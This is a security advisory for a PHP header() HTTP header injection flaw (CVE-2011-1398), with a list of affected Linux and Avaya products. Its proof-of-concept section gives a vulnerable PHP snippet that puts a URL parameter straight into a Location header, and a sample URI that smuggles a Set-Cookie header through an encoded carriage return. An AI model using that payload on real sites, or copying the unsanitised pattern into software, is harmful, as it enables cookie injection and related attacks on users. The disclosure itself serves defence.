PHP 'header()' HTTP Header Injection Vulnerability
BID:55297
Info
PHP 'header()' HTTP Header Injection Vulnerability
| Bugtraq ID: | 55297 |
| Class: | Input Validation Error |
| CVE: |
CVE-2011-1398 |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 06 2011 12:00AM |
| Updated: | Nov 14 2014 12:04AM |
| Credit: | Mr. Tokumaru |
| Vulnerable: |
Ubuntu Ubuntu Linux 8.04 LTS sparc Ubuntu Ubuntu Linux 8.04 LTS powerpc Ubuntu Ubuntu Linux 8.04 LTS lpia Ubuntu Ubuntu Linux 8.04 LTS i386 Ubuntu Ubuntu Linux 8.04 LTS amd64 Ubuntu Ubuntu Linux 12.04 LTS i386 Ubuntu Ubuntu Linux 12.04 LTS amd64 Ubuntu Ubuntu Linux 11.10 i386 Ubuntu Ubuntu Linux 11.10 amd64 Ubuntu Ubuntu Linux 11.04 powerpc Ubuntu Ubuntu Linux 11.04 i386 Ubuntu Ubuntu Linux 11.04 ARM Ubuntu Ubuntu Linux 11.04 amd64 Ubuntu Ubuntu Linux 10.04 sparc Ubuntu Ubuntu Linux 10.04 powerpc Ubuntu Ubuntu Linux 10.04 i386 Ubuntu Ubuntu Linux 10.04 ARM Ubuntu Ubuntu Linux 10.04 amd64 SuSE SUSE Linux Enterprise Server for VMware 11 SP2 SuSE SUSE Linux Enterprise Server 11 SP2 SuSE SUSE Linux Enterprise Server 10 SP4 SuSE SUSE Linux Enterprise Server 10 SP3 LTSS SuSE SUSE Linux Enterprise SDK 11 SP2 SuSE SUSE Linux Enterprise SDK 10 SP4 RedHat Enterprise Linux Desktop Workstation 5 client Red Hat Enterprise Linux 5 Server PHP PHP 5.1.2 Oracle Enterprise Linux 6.2 Oracle Enterprise Linux 6 Oracle Enterprise Linux 5 Gentoo Linux CentOS CentOS 6 CentOS CentOS 5 Avaya Voice Portal 5.1.2 Avaya Voice Portal 5.1.1 Avaya Voice Portal 5.1 SP1 Avaya Voice Portal 5.1 Avaya Voice Portal 5.0 SP2 Avaya Voice Portal 5.0 SP1 Avaya Voice Portal 5.0 Avaya IP Office Application Server 8.1 Avaya IP Office Application Server 8.0 Avaya Aura Session Manager 5.2 SP2 Avaya Aura Session Manager 5.2 SP1 Avaya Aura Messaging 6.1 Avaya Aura Messaging 6.0.1 Avaya Aura Messaging 6.0 Avaya Aura Communication Manager Utility Services 6.2 Avaya Aura Communication Manager Utility Services 6.1 Avaya Aura Communication Manager Utility Services 6.0 Avaya Aura Communication Manager 6.0.1 Avaya Aura Communication Manager 6.0 Avaya Aura Application Enablement Services 5.2.1 Avaya Aura Application Enablement Services 6.1.1 Avaya Aura Application Enablement Services 6.1 Avaya Aura Application Enablement Services 5.2.3 Avaya Aura Application Enablement Services 5.2.2 Avaya Aura Application Enablement Services 5.2 |
| Not Vulnerable: | |
Discussion
PHP 'header()' HTTP Header Injection Vulnerability
PHP is prone to a vulnerability that allows attackers to inject arbitrary headers through a URL.
By inserting arbitrary headers, attackers may be able to launch cross-site request-forgery, cross-site scripting, HTML-injection, and other attacks.
PHP 5.1.2 is vulnerable; other versions may also be affected.
PHP is prone to a vulnerability that allows attackers to inject arbitrary headers through a URL.
By inserting arbitrary headers, attackers may be able to launch cross-site request-forgery, cross-site scripting, HTML-injection, and other attacks.
PHP 5.1.2 is vulnerable; other versions may also be affected.
Exploit / POC
PHP 'header()' HTTP Header Injection Vulnerability
An attacker can exploit this issue by enticing an unsuspecting user to follow a malicious URI.
The following vulnerable code and example URI are available:
<?php
header('Location: '.$_GET['url']);
print_r($_COOKIE);
?>
http://www.example.com/head1.php?url=http://example.com/head1.php%0DSet-Cookie:+NAME=foo
An attacker can exploit this issue by enticing an unsuspecting user to follow a malicious URI.
The following vulnerable code and example URI are available:
<?php
header('Location: '.$_GET['url']);
print_r($_COOKIE);
?>
http://www.example.com/head1.php?url=http://example.com/head1.php%0DSet-Cookie:+NAME=foo
Solution / Fix
PHP 'header()' HTTP Header Injection Vulnerability
Solution:
Vendor fix is available. Please see the references for more information.
Solution:
Vendor fix is available. Please see the references for more information.